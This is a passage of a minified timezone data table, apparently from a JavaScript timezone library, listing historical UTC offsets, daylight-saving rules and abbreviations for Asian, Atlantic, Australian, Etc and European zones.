1991_2_31_2 5","4 RussiaAsia ASH%sT 1991_9_27 4","4 RussiaAsia TM%sT 1992_0_19_2 4","5 - TMT"],"Asia/Baghdad":["2:57:40 - LMT 1890 2:57:40","2:57:36 - BMT 1918 2:57:36","3 - AST 1982_4 3","3 Iraq A%sT"],"Asia/Bahrain":["3:22:20 - LMT 1920 3:22:20","4 - GST 1972_5 4","3 - AST"],"Asia/Baku":["3:19:24 - LMT 1924_4_2 3:19:24","3 - BAKT 1957_2 3","4 RussiaAsia BAK%sT 1991_2_31_2 4","4 - BAKST 1991_7_30 4","3 RussiaAsia AZ%sT 1992_8_26_23 4","4 - AZT 1996 4","4 EUAsia AZ%sT 1997 4","4 Azer AZ%sT"],"Asia/Bangkok":["6:42:4 - LMT 1880 6:42:4","6:42:4 - BMT 1920_3 6:42:4","7 - ICT"],"Asia/Beirut":["2:22 - LMT 1880 2:22","2 Lebanon EE%sT"],"Asia/Bishkek":["4:58:24 - LMT 1924_4_2 4:58:24","5 - FRUT 1930_5_21 5","6 RussiaAsia FRU%sT 1991_2_31_2 6","6 - FRUST 1991_7_31_2 6","5 Kyrgyz KG%sT 2005_7_12 6","6 - KGT"],"Asia/Brunei":["7:39:40 - LMT 1926_2 7:39:40","7:30 - BNT 1933 7:30","8 - BNT"],"Asia/Choibalsan":["7:38 - LMT 1905_7 7:38","7 - ULAT 1978 7","8 - ULAT 1983_3 8","9 Mongol CHO%sT 2008_2_31 9","8 Mongol CHO%sT"],"Asia/Chongqing":["7:6:20 - LMT 1928 7:6:20","7 - LONT 1980_4 7","8 PRC C%sT"],"Asia/Colombo":["5:19:24 - LMT 1880 5:19:24","5:19:32 - MMT 1906 5:19:32","5:30 - IST 1942_0_5 5:30","6 - IHST 1942_8 6","6:30 - IST 1945_9_16_2 6:30","5:30 - IST 1996_4_25_0 5:30","6:30 - LKT 1996_9_26_0_30 6:30","6 - LKT 2006_3_15_0_30 6","5:30 - IST"],"Asia/Damascus":["2:25:12 - LMT 1920 2:25:12","2 Syria EE%sT"],"Asia/Dhaka":["6:1:40 - LMT 1890 6:1:40","5:53:20 - HMT 1941_9 5:53:20","6:30 - BURT 1942_4_15 6:30","5:30 - IST 1942_8 5:30","6:30 - BURT 1951_8_30 6:30","6 - DACT 1971_2_26 6","6 - BDT 2009 6","6 Dhaka BD%sT"],"Asia/Dili":["8:22:20 - LMT 1912 8:22:20","8 - TLT 1942_1_21_23 8","9 - JST 1945_8_23 9","9 - TLT 1976_4_3 9","8 - CIT 2000_8_17_00 8","9 - TLT"],"Asia/Dubai":["3:41:12 - LMT 1920 3:41:12","4 - GST"],"Asia/Dushanbe":["4:35:12 - LMT 1924_4_2 4:35:12","5 - DUST 1930_5_21 5","6 RussiaAsia DUS%sT 1991_2_31_2 6","6 - DUSST 1991_8_9_2 5","5 - TJT"],"Asia/Gaza":["2:17:52 - LMT 1900_9 2:17:52","2 Zion EET 1948_4_15 2","2 EgyptAsia EE%sT 1967_5_5 3","2 Zion I%sT 1996 2","2 Jordan EE%sT 1999 2","2 Palestine EE%sT 2008_7_29_0 3","2 - EET 2008_8 2","2 Palestine EE%sT 2010 2","2 - EET 2010_2_27_0_1 2","2 Palestine EE%sT 2011_7_1 3","2 - EET 2012 2","2 Palestine EE%sT"],"Asia/Harbin":["8:26:44 - LMT 1928 8:26:44","8:30 - CHAT 1932_2 8:30","8 - CST 1940 8","9 - CHAT 1966_4 9","8:30 - CHAT 1980_4 8:30","8 PRC C%sT"],"Asia/Hebron":["2:20:23 - LMT 1900_9 2:20:23","2 Zion EET 1948_4_15 2","2 EgyptAsia EE%sT 1967_5_5 3","2 Zion I%sT 1996 2","2 Jordan EE%sT 1999 2","2 Palestine EE%sT"],"Asia/Ho_Chi_Minh":["7:6:40 - LMT 1906_5_9 7:6:40","7:6:20 - SMT 1911_2_11_0_1 7:6:20","7 - ICT 1912_4 7","8 - ICT 1931_4 8","7 - ICT"], "Asia/Hong_Kong":["7:36:42 - LMT 1904_9_30 7:36:42","8 HK HK%sT 1941_11_25 8","9 - JST 1945_8_15 9","8 HK HK%sT"],"Asia/Hovd":["6:6:36 - LMT 1905_7 6:6:36","6 - HOVT 1978 6","7 Mongol HOV%sT"],"Asia/Irkutsk":["6:57:20 - LMT 1880 6:57:20","6:57:20 - IMT 1920_0_25 6:57:20","7 - IRKT 1930_5_21 7","8 Russia IRK%sT 1991_2_31_2 8","7 Russia IRK%sT 1992_0_19_2 7","8 Russia IRK%sT 2011_2_27_2 8","9 - IRKT"],"Asia/Jakarta":["7:7:12 - LMT 1867_7_10 7:7:12","7:7:12 - JMT 1923_11_31_23_47_12 7:7:12","7:20 - JAVT 1932_10 7:20","7:30 - WIT 1942_2_23 7:30","9 - JST 1945_8_23 9","7:30 - WIT 1948_4 7:30","8 - WIT 1950_4 8","7:30 - WIT 1964 7:30","7 - WIT"],"Asia/Jayapura":["9:22:48 - LMT 1932_10 9:22:48","9 - EIT 1944_8_1 9","9:30 - CST 1964 9:30","9 - EIT"],"Asia/Jerusalem":["2:20:56 - LMT 1880 2:20:56","2:20:40 - JMT 1918 2:20:40","2 Zion I%sT"],"Asia/Kabul":["4:36:48 - LMT 1890 4:36:48","4 - AFT 1945 4","4:30 - AFT"],"Asia/Kamchatka":["10:34:36 - LMT 1922_10_10 10:34:36","11 - PETT 1930_5_21 11","12 Russia PET%sT 1991_2_31_2 12","11 Russia PET%sT 1992_0_19_2 11","12 Russia PET%sT 2010_2_28_2 12","11 Russia PET%sT 2011_2_27_2 11","12 - PETT"],"Asia/Karachi":["4:28:12 - LMT 1907 4:28:12","5:30 - IST 1942_8 5:30","6:30 - IST 1945_9_15 6:30","5:30 - IST 1951_8_30 5:30","5 - KART 1971_2_26 5","5 Pakistan PK%sT"],"Asia/Kashgar":["5:3:56 - LMT 1928 5:3:56","5:30 - KAST 1940 5:30","5 - KAST 1980_4 5","8 PRC C%sT"],"Asia/Kathmandu":["5:41:16 - LMT 1920 5:41:16","5:30 - IST 1986 5:30","5:45 - NPT"],"Asia/Khandyga":["9:2:13 - LMT 1919_11_15 9:2:13","8 - YAKT 1930_5_21 8","9 Russia YAK%sT 1991_2_31_2 9","8 Russia YAK%sT 1992_0_19_2 8","9 Russia YAK%sT 2004 9","10 Russia VLA%sT 2011_2_27_2 10","11 - VLAT 2011_8_13_0 11","10 - YAKT"],"Asia/Kolkata":["5:53:28 - LMT 1880 5:53:28","5:53:20 - HMT 1941_9 5:53:20","6:30 - BURT 1942_4_15 6:30","5:30 - IST 1942_8 5:30","6:30 - IST 1945_9_15 6:30","5:30 - IST"],"Asia/Krasnoyarsk":["6:11:20 - LMT 1920_0_6 6:11:20","6 - KRAT 1930_5_21 6","7 Russia KRA%sT 1991_2_31_2 7","6 Russia KRA%sT 1992_0_19_2 6","7 Russia KRA%sT 2011_2_27_2 7","8 - KRAT"],"Asia/Kuala_Lumpur":["6:46:46 - LMT 1901_0_1 6:46:46","6:55:25 - SMT 1905_5_1 6:55:25","7 - MALT 1933_0_1 7","7:20 - MALST 1936_0_1 7:20","7:20 - MALT 1941_8_1 7:20","7:30 - MALT 1942_1_16 7:30","9 - JST 1945_8_12 9","7:30 - MALT 1982_0_1 7:30","8 - MYT"],"Asia/Kuching":["7:21:20 - LMT 1926_2 7:21:20","7:30 - BORT 1933 7:30","8 NBorneo BOR%sT 1942_1_16 8","9 - JST 1945_8_12 9","8 - BORT 1982_0_1 8","8 - MYT"],"Asia/Kuwait":["3:11:56 - LMT 1950 3:11:56","3 - AST"],"Asia/Macau":["7:34:20 - LMT 1912 7:34:20","8 Macau MO%sT 1999_11_20 8","8 PRC C%sT"],"Asia/Magadan":["10:3:12 - LMT 1924_4_2 10:3:12","10 - MAGT 1930_5_21 10","11 Russia MAG%sT 1991_2_31_2 11","10 Russia MAG%sT 1992_0_19_2 10","11 Russia MAG%sT 2011_2_27_2 11","12 - MAGT"],"Asia/Makassar":["7:57:36 - LMT 1920 7:57:36","7:57:36 - MMT 1932_10 7:57:36","8 - CIT 1942_1_9 8","9 - JST 1945_8_23 9","8 - CIT"],"Asia/Manila":["-15:56 - LMT 1844_11_31 -15:56","8:4 - LMT 1899_4_11 8:4","8 Phil PH%sT 1942_4 8","9 - JST 1944_10 9","8 Phil PH%sT"],"Asia/Muscat":["3:54:24 - LMT 1920 3:54:24","4 - GST"],"Asia/Nicosia":["2:13:28 - LMT 1921_10_14 2:13:28","2 Cyprus EE%sT 1998_8 3","2 EUAsia EE%sT"],"Asia/Novokuznetsk":["5:48:48 - NMT 1920_0_6 5:48:48","6 - KRAT 1930_5_21 6","7 Russia KRA%sT 1991_2_31_2 7","6 Russia KRA%sT 1992_0_19_2 6","7 Russia KRA%sT 2010_2_28_2 7","6 Russia NOV%sT 2011_2_27_2 6","7 - NOVT"],"Asia/Novosibirsk":["5:31:40 - LMT 1919_11_14_6 5:31:40","6 - NOVT 1930_5_21 6","7 Russia NOV%sT 1991_2_31_2 7","6 Russia NOV%sT 1992_0_19_2 6","7 Russia NOV%sT 1993_4_23 8","6 Russia NOV%sT 2011_2_27_2 6","7 - NOVT"],"Asia/Omsk":["4:53:36 - LMT 1919_10_14 4:53:36","5 - OMST 1930_5_21 5","6 Russia OMS%sT 1991_2_31_2 6","5 Russia OMS%sT 1992_0_19_2 5","6 Russia OMS%sT 2011_2_27_2 6","7 - OMST"],"Asia/Oral":["3:25:24 - LMT 1924_4_2 3:25:24","4 - URAT 1930_5_21 4","5 - URAT 1981_3_1 5","6 - URAST 1981_9_1 6","6 - URAT 1982_3_1 6","5 RussiaAsia URA%sT 1989_2_26_2 5","4 RussiaAsia URA%sT 1991 4","4 - URAT 1991_11_16 4","4 RussiaAsia ORA%sT 2005_2_15 4","5 - ORAT"],"Asia/Phnom_Penh":["6:59:40 - LMT 1906_5_9 6:59:40","7:6:20 - SMT 1911_2_11_0_1 7:6:20","7 - ICT 1912_4 7","8 - ICT 1931_4 8","7 - ICT"],"Asia/Pontianak":["7:17:20 - LMT 1908_4 7:17:20","7:17:20 - PMT 1932_10 7:17:20","7:30 - WIT 1942_0_29 7:30","9 - JST 1945_8_23 9","7:30 - WIT 1948_4 7:30","8 - WIT 1950_4 8","7:30 - WIT 1964 7:30","8 - CIT 1988_0_1 8","7 - WIT"],"Asia/Pyongyang":["8:23 - LMT 1890 8:23","8:30 - KST 1904_11 8:30","9 - KST 1928 9","8:30 - KST 1932 8:30","9 - KST 1954_2_21 9","8 - KST 1961_7_10 8","9 - KST"],"Asia/Qatar":["3:26:8 - LMT 1920 3:26:8","4 - GST 1972_5 4","3 - AST"],"Asia/Qyzylorda":["4:21:52 - LMT 1924_4_2 4:21:52","4 - KIZT 1930_5_21 4","5 - KIZT 1981_3_1 5","6 - KIZST 1981_9_1 6","6 - KIZT 1982_3_1 6","5 RussiaAsia KIZ%sT 1991 5","5 - KIZT 1991_11_16 5","5 - QYZT 1992_0_19_2 5","6 RussiaAsia QYZ%sT 2005_2_15 6","6 - QYZT"],"Asia/Rangoon":["6:24:40 - LMT 1880 6:24:40","6:24:40 - RMT 1920 6:24:40","6:30 - BURT 1942_4 6:30","9 - JST 1945_4_3 9","6:30 - MMT"],"Asia/Riyadh":["3:6:52 - LMT 1950 3:6:52","3 - AST"],"Asia/Sakhalin":["9:30:48 - LMT 1905_7_23 9:30:48","9 - CJT 1938 9","9 - JST 1945_7_25 9","11 Russia SAK%sT 1991_2_31_2 11","10 Russia SAK%sT 1992_0_19_2 10","11 Russia SAK%sT 1997_2_30_2 11","10 Russia SAK%sT 2011_2_27_2 10","11 - SAKT"],"Asia/Samarkand":["4:27:12 - LMT 1924_4_2 4:27:12","4 - SAMT 1930_5_21 4","5 - SAMT 1981_3_1 5","6 - SAMST 1981_9_1 6","6 - TAST 1982_3_1 6","5 RussiaAsia SAM%sT 1991_8_1 6","5 RussiaAsia UZ%sT 1992 5","5 - UZT"],"Asia/Seoul":["8:27:52 - LMT 1890 8:27:52","8:30 - KST 1904_11 8:30","9 - KST 1928 9","8:30 - KST 1932 8:30","9 - KST 1954_2_21 9","8 ROK K%sT 1961_7_10 8","8:30 - KST 1968_9 8:30","9 ROK K%sT"],"Asia/Shanghai":["8:5:57 - LMT 1928 8:5:57","8 Shang C%sT 1949 8","8 PRC C%sT"],"Asia/Singapore":["6:55:25 - LMT 1901_0_1 6:55:25","6:55:25 - SMT 1905_5_1 6:55:25","7 - MALT 1933_0_1 7","7:20 - MALST 1936_0_1 7:20","7:20 - MALT 1941_8_1 7:20","7:30 - MALT 1942_1_16 7:30","9 - JST 1945_8_12 9","7:30 - MALT 1965_7_9 7:30","7:30 - SGT 1982_0_1 7:30","8 - SGT"],"Asia/Taipei":["8:6 - LMT 1896 8:6","8 Taiwan C%sT"],"Asia/Tashkent":["4:37:12 - LMT 1924_4_2 4:37:12","5 - TAST 1930_5_21 5","6 RussiaAsia TAS%sT 1991_2_31_2 6","5 RussiaAsia TAS%sT 1991_8_1 6","5 RussiaAsia UZ%sT 1992 5","5 - UZT"],"Asia/Tbilisi":["2:59:16 - LMT 1880 2:59:16","2:59:16 - TBMT 1924_4_2 2:59:16","3 - TBIT 1957_2 3","4 RussiaAsia TBI%sT 1991_2_31_2 4","4 - TBIST 1991_3_9 4","3 RussiaAsia GE%sT 1992 3","3 E-EurAsia GE%sT 1994_8_25 4","4 E-EurAsia GE%sT 1996_9_27 5","5 - GEST 1997_2_30 5","4 E-EurAsia GE%sT 2004_5_27 5","3 RussiaAsia GE%sT 2005_2_27_2 3","4 - GET"],"Asia/Tehran":["3:25:44 - LMT 1916 3:25:44","3:25:44 - TMT 1946 3:25:44","3:30 - IRST 1977_10 3:30","4 Iran IR%sT 1979 4","3:30 Iran IR%sT"],"Asia/Thimphu":["5:58:36 - LMT 1947_7_15 5:58:36","5:30 - IST 1987_9 5:30","6 - BTT"],"Asia/Tokyo":["9:18:59 - LMT 1887_11_31_15","9 - JST 1896 9","9 - CJT 1938 9","9 Japan J%sT"],"Asia/Ulaanbaatar":["7:7:32 - LMT 1905_7 7:7:32","7 - ULAT 1978 7","8 Mongol ULA%sT"],"Asia/Urumqi":["5:50:20 - LMT 1928 5:50:20","6 - URUT 1980_4 6","8 PRC C%sT"],"Asia/Ust-Nera":["9:32:54 - LMT 1919_11_15 9:32:54","8 - YAKT 1930_5_21 8","9 Russia YAKT 1981_3_1 9","11 Russia MAG%sT 1991_2_31_2 11","10 Russia MAG%sT 1992_0_19_2 10","11 Russia MAG%sT 2011_2_27_2 11","12 - MAGT 2011_8_13_0 12","11 - VLAT"],"Asia/Vientiane":["6:50:24 - LMT 1906_5_9 6:50:24","7:6:20 - SMT 1911_2_11_0_1 7:6:20","7 - ICT 1912_4 7","8 - ICT 1931_4 8","7 - ICT"],"Asia/Vladivostok":["8:47:44 - LMT 1922_10_15 8:47:44","9 - VLAT 1930_5_21 9","10 Russia VLA%sT 1991_2_31_2 10","9 Russia VLA%sST 1992_0_19_2 9","10 Russia VLA%sT 2011_2_27_2 10","11 - VLAT"],"Asia/Yakutsk":["8:38:40 - LMT 1919_11_15 8:38:40","8 - YAKT 1930_5_21 8","9 Russia YAK%sT 1991_2_31_2 9","8 Russia YAK%sT 1992_0_19_2 8","9 Russia YAK%sT 2011_2_27_2 9","10 - YAKT"],"Asia/Yekaterinburg":["4:2:24 - LMT 1919_6_15_4 4:2:24","4 - SVET 1930_5_21 4","5 Russia SVE%sT 1991_2_31_2 5","4 Russia SVE%sT 1992_0_19_2 4","5 Russia YEK%sT 2011_2_27_2 5","6 - YEKT"],"Asia/Yerevan":["2:58 - LMT 1924_4_2 2:58","3 - YERT 1957_2 3","4 RussiaAsia YER%sT 1991_2_31_2 4","4 - YERST 1991_8_23 4","3 RussiaAsia AM%sT 1995_8_24_2 3","4 - AMT 1997 4","4 RussiaAsia AM%sT 2012_2_25_2 4","4 - AMT"],"Atlantic/Azores":["-1:42:40 - LMT 1884 -1:42:40","-1:54:32 - HMT 1911_4_24 -1:54:32","-2 Port AZO%sT 1966_3_3_2 -2","-1 Port AZO%sT 1983_8_25_1 -1","-1 W-Eur AZO%sT 1992_8_27_1 -1","0 EU WE%sT 1993_2_28_1","-1 EU AZO%sT"],"Atlantic/Bermuda":["-4:19:18 - LMT 1930_0_1_2 -4:19:18","-4 - AST 1974_3_28_2 -4","-4 Bahamas A%sT 1976 -4","-4 US A%sT"],"Atlantic/Canary":["-1:1:36 - LMT 1922_2 -1:1:36","-1 - CANT 1946_8_30_1 -1","0 - WET 1980_3_6_0","1 - WEST 1980_8_28_0","0 EU WE%sT"],"Atlantic/Cape_Verde":["-1:34:4 - LMT 1907 -1:34:4","-2 - CVT 1942_8 -2","-1 - CVST 1945_9_15 -1","-2 - CVT 1975_10_25_2 -2","-1 - CVT"],"Atlantic/Faroe":["-0:27:4 - LMT 1908_0_11 -0:27:4","0 - WET 1981","0 EU WE%sT"],"Atlantic/Madeira":["-1:7:36 - LMT 1884 -1:7:36","-1:7:36 - FMT 1911_4_24 -1:7:36","-1 Port MAD%sT 1966_3_3_2 -1","0 Port WE%sT 1983_8_25_1","0 EU WE%sT"],"Atlantic/Reykjavik":["-1:27:24 - LMT 1837 -1:27:24","-1:27:48 - RMT 1908 -1:27:48","-1 Iceland IS%sT 1968_3_7_1 -1","0 - GMT"],"Atlantic/South_Georgia":["-2:26:8 - LMT 1890 -2:26:8","-2 - GST"],"Atlantic/St_Helena":["-0:22:48 - LMT 1890 -0:22:48","-0:22:48 - JMT 1951 -0:22:48","0 - GMT"],"Atlantic/Stanley":["-3:51:24 - LMT 1890 -3:51:24","-3:51:24 - SMT 1912_2_12 -3:51:24","-4 Falk FK%sT 1983_4 -4","-3 Falk FK%sT 1985_8_15 -3","-4 Falk FK%sT 2010_8_5_02 -4","-3 - FKST"],"Australia/Adelaide":["9:14:20 - LMT 1895_1 9:14:20","9 - CST 1899_4 9","9:30 Aus CST 1971 9:30","9:30 AS CST"],"Australia/Brisbane":["10:12:8 - LMT 1895 10:12:8","10 Aus EST 1971 10","10 AQ EST"],"Australia/Broken_Hill":["9:25:48 - LMT 1895_1 9:25:48","10 - EST 1896_7_23 10","9 - CST 1899_4 9","9:30 Aus CST 1971 9:30","9:30 AN CST 2000 10:30","9:30 AS CST"],"Australia/Currie":["9:35:28 - LMT 1895_8 9:35:28","10 - EST 1916_9_1_2 10","11 - EST 1917_1 11","10 Aus EST 1971_6 10","10 AT EST"],"Australia/Darwin":["8:43:20 - LMT 1895_1 8:43:20","9 - CST 1899_4 9","9:30 Aus CST"],"Australia/Eucla":["8:35:28 - LMT 1895_11 8:35:28","8:45 Aus CWST 1943_6 8:45","8:45 AW CWST"],"Australia/Hobart":["9:49:16 - LMT 1895_8 9:49:16","10 - EST 1916_9_1_2 10","11 - EST 1917_1 11","10 Aus EST 1967 10","10 AT EST"],"Australia/Lindeman":["9:55:56 - LMT 1895 9:55:56","10 Aus EST 1971 10","10 AQ EST 1992_6 10","10 Holiday EST"],"Australia/Lord_Howe":["10:36:20 - LMT 1895_1 10:36:20","10 - EST 1981_2 10","10:30 LH LHST"],"Australia/Melbourne":["9:39:52 - LMT 1895_1 9:39:52","10 Aus EST 1971 10","10 AV EST"],"Australia/Perth":["7:43:24 - LMT 1895_11 7:43:24","8 Aus WST 1943_6 8","8 AW WST"],"Australia/Sydney":["10:4:52 - LMT 1895_1 10:4:52","10 Aus EST 1971 10","10 AN EST"],CET:["1 C-Eur CE%sT"],CST6CDT:["-6 US C%sT"],EET:["2 EU EE%sT"],EST:["-5 - EST"],EST5EDT:["-5 US E%sT"],HST:["-10 - HST"],MET:["1 C-Eur ME%sT"],MST:["-7 - MST"],MST7MDT:["-7 US M%sT"],PST8PDT:["-8 US P%sT"],WET:["0 EU WE%sT"],"Etc/GMT":["0 - GMT"],"Etc/GMT+1":["-1 - GMT+1"],"Etc/GMT+10":["-10 - GMT+10"],"Etc/GMT+11":["-11 - GMT+11"],"Etc/GMT+12":["-12 - GMT+12"],"Etc/GMT+2":["-2 - GMT+2"],"Etc/GMT+3":["-3 - GMT+3"],"Etc/GMT+4":["-4 - GMT+4"],"Etc/GMT+5":["-5 - GMT+5"],"Etc/GMT+6":["-6 - GMT+6"],"Etc/GMT+7":["-7 - GMT+7"],"Etc/GMT+8":["-8 - GMT+8"],"Etc/GMT+9":["-9 - GMT+9"],"Etc/GMT-1":["1 - GMT-1"],"Etc/GMT-10":["10 - GMT-10"],"Etc/GMT-11":["11 - GMT-11"],"Etc/GMT-12":["12 - GMT-12"],"Etc/GMT-13":["13 - GMT-13"],"Etc/GMT-14":["14 - GMT-14"],"Etc/GMT-2":["2 - GMT-2"],"Etc/GMT-3":["3 - GMT-3"],"Etc/GMT-4":["4 - GMT-4"],"Etc/GMT-5":["5 - GMT-5"],"Etc/GMT-6":["6 - GMT-6"],"Etc/GMT-7":["7 - GMT-7"],"Etc/GMT-8":["8 - GMT-8"],"Etc/GMT-9":["9 - GMT-9"],"Etc/UCT":["0 - UCT"],"Etc/UTC":["0 - UTC"],"Europe/Amsterdam":["0:19:32 - LMT 1835 0:19:32","0:19:32 Neth %s 1937_6_1 1:19:32","0:20 Neth NE%sT 1940_4_16_0 0:20","1 C-Eur CE%sT 1945_3_2_2 1","1 Neth CE%sT 1977 1","1 EU CE%sT"],"Europe/Andorra":["0:6:4 - LMT 1901 0:6:4","0 - WET 1946_8_30","1 - CET 1985_2_31_2 1","1 EU CE%sT"],"Europe/Athens":["1:34:52 - LMT 1895_8_14 1:34:52","1:34:52 - AMT 1916_6_28_0_1 1:34:52","2 Greece EE%sT 1941_3_30 3","1 Greece CE%sT 1944_3_4 1","2 Greece EE%sT 1981 2","2 EU EE%sT"],"Europe/Belgrade":["1:22 - LMT 1884 1:22","1 - CET 1941_3_18_23 1","1 C-Eur CE%sT 1945 1","1 - CET 1945_4_8_2 1","2 - CEST 1945_8_16_2 1","1 - CET 1982_10_27 1","1 EU CE%sT"],"Europe/Berlin":["0:53:28 - LMT 1893_3 0:53:28","1 C-Eur CE%sT 1945_4_24_2 2","1 SovietZone CE%sT 1946 1","1 Germany CE%sT 1980 1","1 EU CE%sT"],"Europe/Prague":["0:57:44 - LMT 1850 0:57:44","0:57:44 - PMT 1891_9 0:57:44","1 C-Eur CE%sT 1944_8_17_2 1","1 Czech CE%sT 1979 1","1 EU CE%sT"],"Europe/Brussels":["0:17:30 - LMT 1880 0:17:30","0:17:30 - BMT 1892_4_1_12 0:17:30","0 - WET 1914_10_8","1 - CET 1916_4_1_0 1","1 C-Eur CE%sT 1918_10_11_11","0 Belgium WE%sT 1940_4_20_2","1 C-Eur CE%sT 1944_8_3 2","1 Belgium CE%sT 1977 1","1 EU CE%sT"],"Europe/Bucharest":["1:44:24 - LMT 1891_9 1:44:24","1:44:24 - BMT 1931_6_24 1:44:24","2 Romania EE%sT 1981_2_29_2 2","2 C-Eur EE%sT 1991 2","2 Romania EE%sT 1994 2","2 E-Eur EE%sT 1997 2","2 EU EE%sT"],"Europe/Budapest":["1:16:20 - LMT 1890_9 1:16:20","1 C-Eur CE%sT 1918 1","1 Hungary CE%sT 1941_3_6_2 1","1 C-Eur CE%sT 1945 1","1 Hungary CE%sT 1980_8_28_2 1","1 EU CE%sT"],"Europe/Zurich":["0:34:8 - LMT 1848_8_12 0:34:8","0:29:44 - BMT 1894_5 0:29:44","1 Swiss CE%sT 1981 1","1 EU CE%sT"],"Europe/Chisinau":["1:55:20 - LMT 1880 1:55:20","1:55 - CMT 1918_1_15 1:55","1:44:24 - BMT 1931_6_24 1:44:24","2 Romania EE%sT 1940_7_15 2","3 - EEST 1941_6_17 3","1 C-Eur CE%sT 1944_7_24 2","3 Russia MSK/MSD 1990 3","3 - MSK 1990_4_6 3","2 - EET 1991 2","2 Russia EE%sT 1992 2","2 E-Eur EE%sT 1997 2","2 EU EE%sT"],"Europe/Copenhagen":["0:50:20 - LMT 1890 0:50:20","0:50:20 - CMT 1894_0_1 0:50:20","1 Denmark CE%sT 1942_10_2_2 1","1 C-Eur CE%sT 1945_3_2_2 1","1 Denmark CE%sT 1980 1","1 EU CE%sT"],"Europe/Dublin":["-0:25 - LMT 1880_7_2 -0:25","-0:25:21 - DMT 1916_4_21_2 -0:25:21","0:34:39 - IST 1916_9_1_2 -0:25:21","0 GB-Eire %s 1921_11_6","0 GB-Eire GMT/IST 1940_1_25_2","1 - IST 1946_9_6_2 1","0 - GMT 1947_2_16_2","1 - IST 1947_10_2_2 1","0 - GMT 1948_3_18_2","0 GB-Eire GMT/IST 1968_9_27 1","1 - IST 1971_9_31_2","0 GB-Eire GMT/IST 1996","0 EU GMT/IST"],"Europe/Gibraltar":["-0:21:24 - LMT 1880_7_2_0 -0:21:24","0 GB-Eire %s 1957_3_14_2","1 - CET 1982 1","1 EU CE%sT"],"Europe/London":["-0:1:15 - LMT 1847_11_1_0 -0:1:15","0 GB-Eire %s 1968_9_27 1","1 - BST 1971_9_31_2","0 GB-Eire %s 1996","0 EU GMT/BST"],"Europe/Helsinki":["1:39:52 - LMT 1878_4_31 1:39:52","1:39:52 - HMT 1921_4 1:39:52","2 Finland EE%sT 1983 2","2 EU EE%sT"],"Europe/Istanbul":["1:55:52 - LMT 1880 1:55:52","1:56:56 - IMT 1910_9 1:56:56","2 Turkey EE%sT 1978_9_15 3","3 Turkey TR%sT 1985_3_20 3","2 Turkey EE%sT 2007 2","2 EU EE%sT 2011_2_27_1","2 - EET 2011_2_28_1","2 EU EE%sT"],"Europe/Kaliningrad":["1:22 - LMT 1893_3 1:22","1 C-Eur CE%sT 1945 1","2 Poland CE%sT 1946 2","3 Russia MSK/MSD 1991_2_31_2 3","2 Russia EE%sT 2011_2_27_2 2","3 - FET"],"Europe/Kiev":["2:2:4 - LMT 1880 2:2:4","2:2:4 - KMT 1924_4_2 2:2:4","2 - EET 1930_5_21 2","3 - MSK 1941_8_20 3","1 C-Eur CE%sT 1943_10_6 1","3 Russia MSK/MSD 1990 3","3 - MSK 1990_6_1_2 3","2 - EET 1992 2","2 E-Eur EE%sT 1995 2","2 EU EE%sT"],"Europe/Lisbon":["-0:36:32 - LMT 1884 -0:36:32","-0:36:32 - LMT 1912_0_1 -0:36:32","0 Port WE%sT 1966_3_3_2","1 - CET 1976_8_26_1 1","0 Port WE%sT 1983_8_25_1","0 W-Eur WE%sT 1992_8_27_1","1 EU CE%sT 1996_2_31_1","0 EU WE%sT"],"Europe/Luxembourg":["0:24:36 - LMT 1904_5 0:24:36","1 Lux CE%sT 1918_10_25 1","0 Lux WE%sT 1929_9_6_2","0 Belgium WE%sT 1940_4_14_3 1","1 C-Eur WE%sT 1944_8_18_3 2","1 Belgium CE%sT 1977 1","1 EU CE%sT"],"Europe/Madrid":["-0:14:44 - LMT 1901_0_1_0 -0:14:44","0 Spain WE%sT 1946_8_30 2","1 Spain CE%sT 1979 1","1 EU CE%sT"],"Europe/Malta":["0:58:4 - LMT 1893_10_2_0 0:58:4","1 Italy CE%sT 1942_10_2_2 1","1 C-Eur CE%sT 1945_3_2_2 1","1 Italy CE%sT 1973_2_31 1","1 Malta CE%sT 1981 1","1 EU CE%sT"],"Europe/Minsk":["1:50:16 - LMT 1880 1:50:16","1:50 - MMT 1924_4_2 1:50","2 - EET 1930_5_21 2","3 - MSK 1941_5_28 3","1 C-Eur CE%sT 1944_6_3 2","3 Russia MSK/MSD 1990 3","3 - MSK 1991_2_31_2 3","3 - EEST 1991_8_29_2 2","2 - EET 1992_2_29_0 2","3 - EEST 1992_8_27_0 2","2 Russia EE%sT 2011_2_27_2 2","3 - FET"],"Europe/Monaco":["0:29:32 - LMT 1891_2_15 0:29:32","0:9:21 - PMT 1911_2_11 0:9:21","0 France WE%sT 1945_8_16_3 2","1 France CE%sT 1977 1","1 EU CE%sT"],"Europe/Moscow":["2:30:20 - LMT 1880 2:30:20","2:30 - MMT 1916_6_3 2:30","2:30:48 Russia %s 1919_6_1_2 4:30:48","3 Russia MSK/MSD 1922_9 3","2 - EET 1930_5_21 2","3 Russia MSK/MSD 1991_2_31_2 3","2 Russia EE%sT 1992_0_19_2 2","3 Russia MSK/MSD 2011_2_27_2 3","4 - MSK"],"Europe/Paris":["0:9:21 - LMT 1891_2_15_0_1 0:9:21","0:9:21 - PMT 1911_2_11_0_1 0:9:21","0 France WE%sT 1940_5_14_23 1","1 C-Eur CE%sT 1944_7_25 2","0 France WE%sT 1945_8_16_3 2","1 France CE%sT 1977 1","1 EU CE%sT"],"Europe/Riga":["1:36:24 - LMT 1880 1:36:24","1:36:24 - RMT 1918_3_15_2 1:36:24","2:36:24 - LST 1918_8_16_3 2:36:24","1:36:24 - RMT 1919_3_1_2 1:36:24","2:36:24 - LST 1919_4_22_3 2:36:24","1:36:24 - RMT 1926_4_11 1:36:24","2 - EET 1940_7_5 2","3 - MSK 1941_6 3","1 C-Eur CE%sT 1944_9_13 1","3 Russia MSK/MSD 1989_2_26_2 3","3 - EEST 1989_8_24_2 2","2 Latvia EE%sT 1997_0_21 2","2 EU EE%sT 2000_1_29 2","2 - EET 2001_0_2 2","2 EU EE%sT"],"Europe/Rome":["0:49:56 - LMT 1866_8_22 0:49:56","0:49:56 - RMT 1893_10_1_0 0:49:56","1 Italy CE%sT 1942_10_2_2 1","1 C-Eur CE%sT 1944_6 2","1 Italy CE%sT 1980 1","1 EU CE%sT"],"Europe/Samara":["3:20:36 - LMT 1919_6_1_2 3:20:36","3 - SAMT 1930_5_21 3","4 - SAMT 1935_0_27 4","4 Russia KUY%sT 1989_2_26_2 4","3 Russia KUY%sT 1991_2_31_2 3","2 Russia KUY%sT 1991_8_29_2 2","3 - KUYT 1991_9_20_3 3","4 Russia SAM%sT 2010_2_28_2 4","3 Russia SAM%sT 2011_2_27_2 3","4 - 